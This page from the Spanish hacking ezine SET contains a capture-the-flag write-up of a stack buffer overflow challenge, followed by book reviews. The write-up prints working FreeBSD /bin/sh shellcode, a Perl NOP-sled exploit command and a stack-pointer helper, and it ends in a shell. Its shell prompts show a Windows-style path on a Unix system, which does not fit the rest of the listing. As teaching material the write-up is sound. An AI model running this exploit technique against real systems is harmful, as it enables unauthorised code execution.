TOP
AutoresTOTAL
LecturasSET 36
123683 visitas
- Contenidos - SET Staff
- Editorial - SET Staff
- TOR - Una Verdad a Medias - blackngel
- Bazar de SET - Varios Autores
- 1er Reto Torneo Shell Warzone (BoF) (bazar) - blackngel
- Biblioteca del Hacker 3.0 (bazar) - blackngel
- HTTP Fingerprinting - gcode
- 2do Reto Torneo Shell Warzone (HoF) - blackngel
- 3er Reto Torneo Shell Warzone (BoF) - blackngel
- Criptografia Practica 02 - blackngel
- Historia de un CrackMe - blackngel
- Proyectos, peticiones, avisos - SET Staff
- Ataque a la Fortaleza SAP - SET Staff
- Cracking WiFi al Completo - blackngel
- Curso de electronica 07 - elotro
- Rendimiento del PC - Arien
- Heisenbugs & Company - blackngel
- Llaves PGP - SET Staff
1er Reto Torneo Shell Warzone (BoF) (bazar)
Autor: blackngel
-[ 0x03 ]-------------------------------------------------------------------- -[ Bazar de SET ]------------------------------------------------------------ -[ by Others ]-------------------------------------------------------SET-36-- Indice 3x01 1er Reto Torneo Shell Warzone (BoF) Hacking blackngel 3x02 Biblioteca del Hacker 3.0 Info blackngel -[ 3x01 ]-------------------------------------------------------------------- -[ 1er Reto Torneo Shell Warzone (BoF) ]------------------------------------- -[ by blackngel ]------------------------------------------------------------ ^^ *`* @@ *`* HACK THE WORLD * *--* * ## by blackngel <blackngel1@gmail.com> || * * * * (C) Copyleft 2009 everybody _* *_ [-----] Seguidamente explicaremos la solucion al 1o reto planteado por los creadores del "Torneo Shell" de la Warzone ubicada en "elhacker.net". La informacion que encontrareis a continuacion se expone con un mero caracter educativo. Warzone, sus creadores y el autor de este documento no se hacen responsables del uso o abuso que se le pueda dar a la misma. ¡Disfruten del juego! [-----] ***** El articulo ha sido ubicado en esta seccion debido a su simplicidad ***** ***** No obstante siempre puede ser de provecho a aquellos que se inician ***** ***** en las tareas de investigacion y explotacion de vulnerabilidades. ***** Bienvenidos a la primera prueba del Torneo Shell que para nuestro disfrute han preparado los creadores de Warzone. En esta ocasion nos enfrenteremos a un tipica vulnerabilidad de software conocida por todos como "Buffer Overflow" (desbordamiento de buffer). En este documento solo abordaremos el caso particular que nos traemos entre manos. Para mas informacion general sobre como explotar esta clase de bugs, dirijase a las referencias que encontrara hacia el final. Manos a la obra: En primer lugar entraremos en el directorio de la prueba "/usr/home/BoF/" y listaremos sus ficheros: C:/Users/NikiSanders/Desktop>ls -al total 38 drwxr-x--- 3 BoF warzone 512 Dec 3 18:26 . drwxr-xr-x 320 root wheel 7168 Dec 14 07:35 .. -rw-r--r-- 1 BoF warzone 751 Nov 21 13:45 .cshrc -rw-r--r-- 1 BoF warzone 248 Nov 21 13:45 .login -rw-r--r-- 1 BoF warzone 158 Nov 21 13:45 .login_conf -rw-r----- 1 BoF warzone 373 Nov 21 13:45 .mail_aliases -rw-r--r-- 1 BoF warzone 331 Nov 21 13:45 .mailrc drwxr-x--- 2 BoF basico 1024 Dec 12 21:38 .pass -rw-r--r-- 1 BoF warzone 766 Nov 21 13:45 .profile -rw-r--r-- 1 BoF warzone 276 Nov 21 13:45 .rhosts -rw-r--r-- 1 BoF warzone 975 Nov 21 13:45 .shrc -rwxr-sr-x 1 BoF basico 6271 Nov 28 13:01 BoF -rw-r--r-- 1 root warzone2 1765 Dec 3 18:26 TORNEO.txt C:/Users/NikiSanders/Desktop> A tener en cuenta: - BoF -> Programa vulnerable. - .pass -> Directorio objetivo que contiene nuestro "hash". Sabiendo entonces que no disponemos el codigo fuente. Lo normal sera ejecutar el programa para ver como actua y si acepta parametros como entrada: [-----] C:/Users/NikiSanders/Desktop>./BoF Mas facil no se puede xD Se esperaban Parametros!! Uso: ./BoF <algo> C:/Users/NikiSanders/Desktop>./BoF WARZONE Mas facil no se puede xD Usted paso como parametro lo siguiente: WARZONE [-----] Bien, empezamos con pasos firmes. Suponemos tras la segunda ejecucion que el programa almacena nuestro parametro en algun buffer temporal para imprimirlo posteriormente a la salida estandar. He aqui el posible fallo. ¿Que ocurre si esta variable/buffer/array no esta preparado para albergar tantos datos como los que nosotros somos capaces de introducir? Exacto, se producira un desbordamiento. Averiguar la longitud del buffer es algo trivial, se trata de ir introduciendo un parametro cada vez mas largo hasta conseguir que el programa nos muestre un "segmentation fault", indicativo de que algo malo ha ocurrido. Normalmente los buffers suelen tener tamaños multiplos de "8", lo que quiere decir que normalmente seran asi: - buffer[64]; - buffer[128]; - buffer[256]; - buffer[512]; - buffer[1024]; - etc... Es muy incomodo mantener una tecla pulsada hasta que se repite esta cantidad de veces. Para facilitar nuestra tarea, ¡ "PERL" al rescate !. Con Perl podemos imprimir tantos caracteres como deseemos sin apenas esfuerzo. Para demostrar todo lo que hacabamos de decir, intentaremos producir un desbordamiento de buffer introduciendo 1050 "A's" como parametro al programa "./BoF". A partir de ahi jugaremos nuestras cartas. [-----] C:/Users/NikiSanders/Desktop>./BoF `perl -e 'print "A"x1050;'` Mas facil no se puede xD Usted paso como parametro lo siguiente: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA Segmentation fault C:/Users/NikiSanders/Desktop> [-----] Estamos en el camino correcto. Ahora toca elaborar el exploit en si. Si continuas jugando con el parametro te daras cuenta de que nos enfrentamos a un buffer cuya capacidad es 1024 bytes, espacio mas que suficiente para colocar el tipico pastel, me refiero a: [NOPS (0x90)] [SHELLCODE] [RET (%esp)] Dado que el bug tiene toda la pinta de no estar complicando las cosas por detras, intentaremos explotarlo directamente desde la linea de comandos sin tener que programar un exploit en lenguaje C. Entonces listaremos que elementos necesitamos: - Perl (linea de comandos). - Una "shellcode" (para FreeBSD). - Una direccion de retorno (%esp). Perl ya lo tenemos en el sistema. Conseguir una Shellcode para FreeBSD es cuestion de segundos si sabes buscar en Google. Quizas en un documento aparte explique como programarte una tu mismo (es una buena experiencia). Muestro aqui la "shellcode" que utilizaremos nosotros. Es bastante pequeña: [-----] char code[] = "\x31\xc0" /* xor %eax,%eax */ "\x50" /* push %eax */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f (//sh) */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f (/bin)*/ "\x89\xe3" /* mov %esp,%ebx */ "\x50" /* push %eax */ "\x54" /* push %esp */ "\x53" /* push %ebx */ "\x50" /* push %eax */ "\xb0\x3b" /* mov $0x3b,%al */ "\xcd\x80"; /* int $0x80 */ [-----] Pero como ya dijimos, vamos a trabajar desde la linea de comandos, entonces necesitamos un lugar donde almacenarla para luego hacer uso de ella. La volcaremos a un archivo en nuestro directorio personal: [-----] $ perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\ x54\x53\x50\xb0\x3b\xcd\x80";' > ../NikiSanders/sc [-----] Con este juguete preparado, ahora solo nos queda obtener una direccion de retorno valida. Para ello escribiremos un pequeño programa: [-----] #include <stdio.h> #include <stdlib.h> #include <unistd.h> u_long getsp(){ __asm__("movl %esp, %eax"); } int main(){ u_long esp; esp = getsp(); printf ("ESP = 0x%x\n", esp); return 0; } [-----] Lo compilamos con "gcc getsp.c -o getsp". Y al ejecutarlo deberiamos obtener lo siguiente: C:/Users/NikiSanders/Desktop>../NikiSanders/getsp ESP = 0xbfbfec58 C:/Users/NikiSanders/Desktop> Debes ser consciente que esta direccion puede no ser la misma para ti. Depende del numero de procesos que se esten ejecutado en ese momento y de muchos otros factores. Lo importante es aprender el metodo. Y hasta aqui solo nos queda construir nuestro paquete BOMBA para cederselo como parametro al programa vulnerable. Intentemoslo: [-----] C:/Users/NikiSanders/Desktop>./BoF `perl -e 'print "\x90"x1024';` `cat ../NikiSanders/sc``perl -e 'print "\x58\xec\xbf\xbf"';` Mas facil no se puede xD Usted paso como parametro lo siguiente: ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ �����������^�1��F�F�����V ̀1ۉ�@̀�����/bin/shX쿿 Segmentation fault C:/Users/NikiSanders/Desktop> [-----] Bueno, no todo es color de rosa. Esto es muy instructivo para aprender unas cuantas cosas: Fijate que normalmente un parametro de exploit corriente suele repetir varias veces su direccion de retorno, lo que ofrece mas posibilidades de acertar en la alineacion cuando se intenta sobreescribir el registro "%eip". Nosotros solo la escribimos una vez (somos asi de retorcidos) y la alineacion debe de coincidir de manera exacta. Esto lo hago para que se vea que se puede explotar manualmente y de forma milimetrica sin tener que recurrir a la suerte o coincidencia. Por otro lado hay que tener en cuenta el tamaño de los elementos que estamos introduciendo. En nuestro caso posiblemente lo que haya ocurrido sea esto: [NOPS-NOPS-NOPS-NOPS] [ SHELLCODE ] [RET] [BUFER DE 1024 BYTES] [%EBP] [%EIP] [ARGS] Observamos que nos hemos pasado de largo. La direccion de retorno debe caer exactamente en la posicion del registro "%eip" si queremos lograr nuestro objetivo. La solucion pasa por decrementar paulatinamente el numero de instrucciones NOP (0x90) hasta conseguir una ejecucion exitosa. Sin necesidad de rezar llegara el momento en que caigamos en el lugar exacto: [-----] C:/Users/NikiSanders/Desktop>./BoF `perl -e 'print "\x90"x1013';` `cat ../NikiSanders/sc``perl -e 'print "\x58\xec\xbf\xbf"';` Mas facil no se puede xD Usted paso como parametro lo siguiente: ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ ������������������������������������������������������������������������������ �����������^�1��F�F�����V ̀1ۉ�@̀�����/bin/shX쿿 $ id uid=7027(NikiSanders) gid=6001(warusers) egid=6000(basico) groups=6000(basico) 6001(warusers),5000(warzone), 5001(warzone1),5002(warzone2),5003(warzone3) $ [-----] Ya puedes saltar de alegria, solo te resta acceder al directorio ".pass" y leer tu archivo correspondiente (".leeme_UID", en mi caso ".leeme_7027") y obtener el HASH que debes introducir en la aplicacion "/usr/home/warzone/validar" para pasar la prueba. Referencias: [1] "Smashing the Stack for Fun and Profit" by Aleph One http://doc.bughunter.net/buffer-overflow/smash-stack.html [2] Desbordamiento de bufer http://es.wikipedia.org/wiki/Desbordamiento_de_b%C3%BAfer [3] Introduccion a los Overflows en Linux X86_64 http://www.enye-sec.org/textos/introduccion.a.los.overflows.en.linux.x86_ 64.txt Por lo demas WARZONE te esta esperando! };-D *EOF* -[ 3x02 ]-------------------------------------------------------------------- -[ Biblioteca del Hacker 3.0 ]----------------------------------------------- -[ by blackngel ]------------------------------------------------------------ dMP .aMMMb dMP dMP MP dMP dMMMMMP dMP dMP dMP dMMMMMP dMP dMP dMMMMb MM. dMMMMb MM. MM. .aMMMb dMMMMMMMP dMMMMP .aMMMb .aMMMb dMP MP dMP dMP MP dMP dMP dMP dMP dMP dMP dMP"VMP dMP MP dMMMMK" dMP dMMMMK" dMP dMP dMP dMP dMP dMMMP dMP dMMMMMP dMP MF dMP dMP MF dMP dMP dMP aMP dMP dMP dMP.aMP dMP dMP dMMMMP" dMP dMMMMP" dMMMMMP dMM VMMMP" dMP dMMMMMP VMMMP" dMP dMP [ La Biblioteca del Hacker 3.0 ] En la historia de SET, dos Bibliotecas del Hacker han sido publicadas, hablando solo la primera de ellas sobre temas referentes realmente al hacking. Los tiempos han cambiado, y el material con el que contamos tambien, y aunque en algunas publicaciones la calidad ha bajado, no ocurre asi con todas. Y ya que poseo una buena cantidad de libros de referencia con los que he aprendido bastante a lo largo de estos años, me permito aqui el lujo de dar una breve descripcion de cada uno de ellos. Aquellos que por su contenido no me han resultado muy utilies, los obviare aqui, ya que solo son dignos de nombrar aquellos que pueden hacerte evolucionar en el mundo de la programacion y la seguridad informatica. INDICE: - Hacking Etico (Gray Hat Hacking) - Programacion en Microsoft C para IBM PC y Compatibles - Programacion en GNU/Linux - Programacion en Linux: Casos Practicos - Herramientas de Programacion para el Shell de Unix - Programacion Avanzada en Unix (3ª EDICION AMPLIADA) - Linux. Guia para Administradores de Redes. - Ensamblador para DOS, Linux y Windows. **-----------------------------------------------------------------------** Hacking Etico ------------- Editorial: Anaya Multimedia ISBN: 84-415-1874-2 Nº Paginas: 544 Este libro es la traduccion al castellano de la publicacion Gray Hat Hacking, obra de: Shon Harris, Allen Harper, Jonathan Ness, Mischael Lester y Chris Eagle. Este ultimo suele frecuentar las reuniones de DEFCON y pasa su tiempo jugando a Capture the Flag. Gracias a todos estos expertos en seguridad informatica, puedo decir, y digo, que es uno lo de los mejores libros que ha pasado por mis manos. Es la combinacion perfecta de temas que pueden conseguir iniciarle a uno en la subcultura hacker, al tiempo que no se anda con bromas y explica temas como la explotacion de heap overflows, format strings, desensamblados con IDA y un largo etc... Entre sus primeras secciones se explica fielmente cual es la etica real de un hacker, como formar un equipo y liderarlo, cuales son las leyes a las que uno debe atenerse y el porque de todo lo que esta por venir. A continuacion sigue con la diferencia entre analisis de vulnerabilidades y las pruebas de penetracion para adentrarte en poco tiempo a herramientas de reconocimiento valiosisimas y que no son tan mencionadas como tal vez lo es nmap. Ellas son: amap, scanrand, paratrace, p0f, y muchas mas... En resumen, toda seccion que leas te incita a ir mas alla y continuar estudiando por tu cuenta. Programacion en Microsoft C para IBM PC y Compatibles ----------------------------------------------------- Editorial: Anaya Multimedia ISBN: 84-7614-240-4 Nº Paginas: 832 Año: 1990 Muy facil. El primer libro con el que aprendi mi primer lenguaje de programacion. Voy a ser sincero, ya que llevo con este secreto guardado desde que comence con todo esto ;). Yo era un amante de la informatica pero todavia no habia descubierto el mundo de la programacion aunque lo de la seguridad informatica ya estaba empezando a llamar a mi puerta. Por aquel entonces yo tendria unos 12 años a lo sumo... Fue entonces que un dia en la biblioteca (una de verdad), haciendo un trabajo con unos amigos (ellos lo hacian y yo miraba), me dio por pasear entre los anaqueles repletos de libros llenos de polvo. Las estrellas deberion desear aquel dia que yo metiese mi mano entre dos enormes volumenes de una enciclopedia. Y fue en ese momento que encontre ese libro de Programacion en C. Comence a echarle una ojeada, y me parecio fascinante (-Ah! Que flipe! Pero asi es como se hacen de verdad los programas?), resulta que los programas no salian de la nada, alguien tenia que saber mas que los demas para proporcionarnos esas cosas con botones y ventanas. Y yo tambien queria ser ese alguien. Fue tan asi que (aunque me vengan despues de tantos años a detener ;)), me lo lleve prestado por el tiempo que correspondia, pero jamas lo lleve de vuelta. Me acuerdo que me puse tan a fondo con el, que cuando no terminaba de comprender de todo la teoria sobre "punteros", le pedi a mi madre que me llevara a una academia. Y, en resumen, de ahi a la seguridad informatica, y todo lo demas... buenos recuerdos :) En realidad este libro no requiere de mucha explicacion, su numero de paginas lo dice casi todo. Se trata de una referencia completa del lenguaje C bajo sistemas Microsoft. Comienza desde cero adelantando temas sobre compilacion, linkado y estructuracion de los fuentes. Los temas mas avanzados enseñana a manejar la ROM BIOS y las funciones graficas a bajo nivel (a nivel de pixel). Enseña algoritmos de ordenacion como el de la burbuja y en el tema de graficos de atrave con los "fractales de MandelBrot". Le debo mucho a ese libro, y por cierto, nunca lo devolvere };-D Programacion en GNU/Linux ------------------------- Editorial: Anaya Multimedia ISBN: 84-415-1544-1 Nº Paginas: 720 De la mano de Francisco Charte Ojeda, desde luego, una excelente adquisicion si ademas de una migracion de sistemas Microsoft a Linux incluye tambien un interes por el desarrollo de software. Entonces este es tu libro. Comienza explicando los lenguajes que estan a tu disposicion de primera mano. Luego sigue con las herramientas mas comunes de trabajo, como editores, compiladores, depuradores y un largo etc... En esta parte se detiene especialmente en unas explicaciones basicas sobre VI y EMACS. Despues de una presentacion de los IDE mas habituales, las secciones centrales tratan basicamente sobre una referencia a la creacion de scripts para el Shell, una referencia completa de C/C++ (incluyendo sockets, procesos e hilos) y servicios de proposito general. Luego nos encontramos con temas sobre interfaces basadas en texto, como NCURSES y otras vasadas en graficos como SVGA, SDL, QT, GTK+ y otras. La ultima parte nos adentra en otros lenguajes como Java, el mismismo Ensamblador y algo sobre programacion WEB con GGI's en varios lenguajes y una breve introduccion a PHP. Sinceramente, puedes pasarte mucho tiempo con este libro en tu mano y no dejar de aprender. Siempre encuentras algo nuevo: que si una ayudita con "make", que si CVS, que si GDB, etc... Es uno de los pocos libros que se salvan de mi denominacion: Libros Mantis Religiosa. Que para mi son aquellos que te seducen con un tremendo INDICE de temas y en cuanto lo acabas de leer (si tienes la paciencia de acabarlo) te matan porque no te han explicado nada en cada uno de ellos. Programacion en Linux: Casos Practicos -------------------------------------- Editorial: Anaya Multimedia ISBN: 84-415-1839-4 Nº Paginas: 672 Aunque publicados por distintos autores, este por Arnold Robbins, a mi me parecio desde el primer momento la mejor continuacion para el libro que acabamos de describir hace un momento. Esa si es una referencia cuasi completa del Lenguaje C, pero no es un libro de aprendizaje desde cero, sino que trata todos los temas que puedes encontrarte en sus desarrollos personalaes o profreciones como: manejo de argumentos y entorno, administracion de memoria, sistemas de ficheros, señales, permisos e interfaces de biblioteca general, al mismo tiempo que va incluyendo y explicando ejemplos reales de programas extraidos de Unix V7. Algunos tan comunes como "cat", "ls" y muchos mas... Personalmente, y aunque en el libro no se menciona de forma directa, yo creo y estoy seguro de que ha sido orientado hacia la seguridad informatica, dado que en muchos lugares se previene del uso de funciones peligrosas como aquellas que provocan desbordamientos de buffer, condiciones de carrera y tambien te incita a un estilo de programacion correcto, responsable y standard. Arnold Robbins mantiene el proyecto GAWK, asi que no es poca cosa lo que se nos ofrece. En particular, yo sigo llevandolo muchos dias al trabajo, en mis ratos libres me ayuda a conseguir buenas costumbres. Herramientas de Programacion para el Shell de Unix -------------------------------------------------- Editorial: McGraw Hill ISBN: 970-10-3024-9 Nº Paginas: 570 Ademas de una repaso breve al funcionamiento de todos los comandos basicos disponibles en Unix, la mitad del libro se encarga de una explicacion medianamente profunda sobre la creacion de guiones(scripts) para el Shell de Unix. Es el libro perfecto si quieres comenzar a realizar tareas administrativas en tu sistema en pocos pasos, ya que si prestas un poco de atencion y aplicas los ejemplos a tus necesidades, puedes automatizar la mayoria de las tareas. La siguiente parte mas importante es una referencia al lenguaje PERL, otra a TCL, y un capitulo fantastico sobre expresiones regulares tanto en BASH, como en PERL, como en TCL. El libro me encanta, aunque personalmente hubiera dejado de lado el lenguaje TCL (nunca me he centrado en el) y hubiera extendido aun mas el tema de PERL. Cabe decir que su autor, David Medinets, es tambien el autor del libro de referencia "Perl 5 By Example". Tambien es uno de los libros que suelo tener mas cerca de mi. Programacion Avanzada en Unix (3ª EDICION AMPLIADA) --------------------------------------------------- Editorial: RA-MA ISBN: 84-7897-603-5 Nº Paginas: 602 De la mano de Francisco M. Marquez, este libro se centra directamente en tres partes muy importantes de los sistemas Unix: Sistema de Ficheros, Procesos e Hilos, y Comunicacion entre Procesos (que abarca tambien todo el tema de Sockets). Sinceramente, me hice con el por dos motivos basicos. El primero es que es compatible con sistemas Linux, FreeBSD, System V, y aquellos que se rijan por POSIX. La segunda es que si te interesa alguno de los temas que trata, puedes aprender a crear software robusto, con un fantastico manejo de errores y a conocer de una forma mas profunda tu sistema operativo. Quizas no le he dado el uso que merece, pero tengo en mi agenda apuntada una lectura y revision completa, asi que espero que no se enfade conmigo :) Linux. Guia para Administradores de Redes ----------------------------------------- Editorial: Anaya Multimedia "O'Reilly" ISBN: 84-415-1868-8 Nº Paginas: 416 Sencillamente fantastico. Por que? La razon es que este libro es fruto de una idea que trataba sobre llevar al papel la "Guia de Redes" perteneciente al Proyecto de Documentacion de Linux. Guia que comenzo con los trabajos de Olaf Kirche. El libro es una revision actualizada y con nuevos temas añadidos con la autoria de Tony Bautts, Terry Dawson y Gregor N. Purdy. Los temas van pasando por una introducion a las redes, su configuracion, explicacion sobre PPP y TCP/IP, administracion de servicios de red, configuracion de un Cortafuegos, auditorias IP, redes sobre IPv6, Sendmail, IMAP, Samaba y muchas cosas mas... Todo ello con ejemplos practicos y explicaciones sobre los archivos de configuracion. A veces los temas no comienzan desde lo mas basico pero, por suerte para mi, se encuentra en un punto de equilibrio bastante bueno que te permite una administracion seria y avanzada. Ensamblador para DOS, Linux y Windows ------------------------------------- Editorial: Anaya Multimedia ISBN: 84-415-1482-8 Nº Paginas: 688 No puedo decir mucho de este libro, ya que es mi adquisicion mas reciente. No obstante tengo que incluirlo aqui porque deja ver desde un primer momento que se basa en su totalidad en ejemplos practicos, lo que dice mucho de el. Los temas mas interesantes, aparte de la referencia basica completa al lenguaje ensamblador, son los temas sobre acceso a servicios de video, teclado, programas residentes, interrupciones, memoria extendia y expandida , y sin olvidar los servicios de Windows y Linux, ya que practicamente en todo el libro se trabaja sobre DOS. Tambien se incia un poco en las diferentes sintaxis, como Masm y Tasm (este ultimo se utiliza basicamente a lo largo de todo el libro), y se introducen conceptos de depuracion. Aunque no lo crean, seria el primer libro que pondria a lado de otro que hablara sobre la creacion de Sistemas Operativos. **-----------------------------------------------------------------------** Mi biblioteca es bastante mas amplia, pero como dije, aqui solo iva a nombrar los que requieren una especial atencion y que realmente me han aportado algo bueno. Aunque lo he pensado, he decidido finalmente no meter un apartado de "El Malo", ya que como para gustos hay colores, el hecho de que un libro me haya parecido penoso, no quiere decir que sea asi para otra persona. Ademas, hay algo que siempre reconozco, y es el esfuerzo del autor a la hora de desarrollar su trabajo. La pena quizas sea que las editoriales te obliguen realmente a crear esos libros "Mantis Religiosa" con tantos y tantos contenidos que al final solo queda espacio para dos palabras en cada uno de ellos, y te quedas como antes de empezar, o peor porque te has gastado el dinero. Espero que esto os haya sido util para tomar alguna decision. Un abrazo! blackngel *EOF*